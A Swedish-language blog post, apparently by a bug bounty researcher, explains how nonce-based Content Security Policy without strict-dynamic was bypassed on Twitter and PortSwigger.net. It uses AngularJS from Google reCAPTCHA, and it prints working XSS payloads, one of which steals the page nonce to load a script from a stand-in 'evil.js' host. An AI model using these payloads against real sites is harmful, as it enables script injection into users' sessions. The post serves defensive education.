Content Security Policy (CSP) â det lĂ„ter som en vattentĂ€t sĂ€kerhetslösning, eller hur? Men som med mĂ„nga sĂ€kerhetsmekanismer Ă€r verkligheten mer nyanserad. LĂ„t mig ta dig med pĂ„ en resa genom CSP:s krĂ„ngligheter, dĂ€r vi ska utforska hur Twitter och PortSwigger.net trots sina policyer Ă€ndĂ„ kunde bli utsatta för attacker.
đ Grunderna: Hur CSP fungerar (och ibland inte gör det) #
TÀnk dig CSP som en strikt nattklubbsvakt med en lista över tillÄtna gÀster. Den bestÀmmer vilka skript som fÄr köras pÄ din webbplats genom att anvÀnda policy directives. För XSS-skydd Àr script-src
den mest intressanta direktiven â den kontrollerar vilka JavaScript-kĂ€llor som Ă€r godkĂ€nda.
Det finns tvÄ huvudsakliga tillvÀgagÄngssÀtt:
- Vitlistning av URL:er â “Endast dessa adresser Ă€r tillĂ„tna”
- Nonce-baserad â “Endast skript med rĂ€tt hemlig kod fĂ„r köras”
Nonce-metoden brukar vara sÀkrare. Varje sidladdning genererar en unik kod (nonce) som mÄste finnas med i script-taggen:
<script src="sÀkert_skript.js" nonce="ABC123"></script>
Men hÀr kommer problemet: Om ett legitimt skript kan skapa nya script-taggar utan nonce, har vi plötsligt en sÀkerhetslucka.
đŠ Hacka högt: Twitters CSP-bypass #
Twitter hade implementerat CSP med nonce men utan strict-dynamic
. Detta skapar en intressant situation dÀr bÄde nonce och vitlistade URL:er kontrolleras.
Genom att utnyttja Angular JS i Google Recaptcha kunde forskare kringgÄ skyddet:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
Men vĂ€nta â detta gav bara en begrĂ€nsad XSS. Hur fĂ„r vi fullstĂ€ndig kontroll?
đ Hitta den gömda nonce-vĂ€rdet #
Trots att webblÀsaren döljer nonce-vÀrdet i DOM-inspelningen, finns det fortfarande kvar och kan nÄs via JavaScript:
const nonce = document.querySelector("[nonce]").nonce;
Med denna kunskap kan vi uppgradera vÄr attack:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
Nu har vi fullstÀndig XSS genom att injicera egna skript med giltig nonce!
ïżœ Bug Bounty-lektioner: PortSwigger.net #
PortSwigger.net, skaparna av Burp Suite, visade sig ha exakt samma sÄrbarhet!
Deras CSP innehöll:
- Whitelist med
google.com/recaptcha
ochgstatic.com/recaptcha
- Nonce utan
strict-dynamic
đĄ Varför detta Ă€r viktigt för utvecklare #
strict-dynamic
Ă€r din vĂ€n â AnvĂ€nd denna direktiv tillsammans med nonce för att undvika whitelist-relaterade problem- Tredjepartsbibliotek Ă€r riskfaktorer â Ăven Google-domĂ€ner kan innehĂ„lla farliga bibliotek
- Nonce-vĂ€rden Ă€r inte helt dolda â De kan fortfarande nĂ„s via JavaScript
đ Slutord: SĂ€kerhet Ă€r en process #
CSP Ă€r ett kraftfullt verktyg, men som vi sett krĂ€vs det mer Ă€n bara att implementera det â man mĂ„ste förstĂ„ dess begrĂ€nsningar och fallgropar. För bug bounty-jĂ€gare visar detta hur viktigt det Ă€r att titta pĂ„ helheten snarare Ă€n enskilda komponenter.
Vad tycker du? Bör fler företag acceptera rapporter om renodlade CSP-bypassar i sina bug bounty-program? Dela dina tankar i kommentarerna!
Vill du lÀra dig mer om avancerade webbapplikationssÀkerhetstekniker? Följ mig för fler djupdykningar i sÀkerhetsvÀrlden.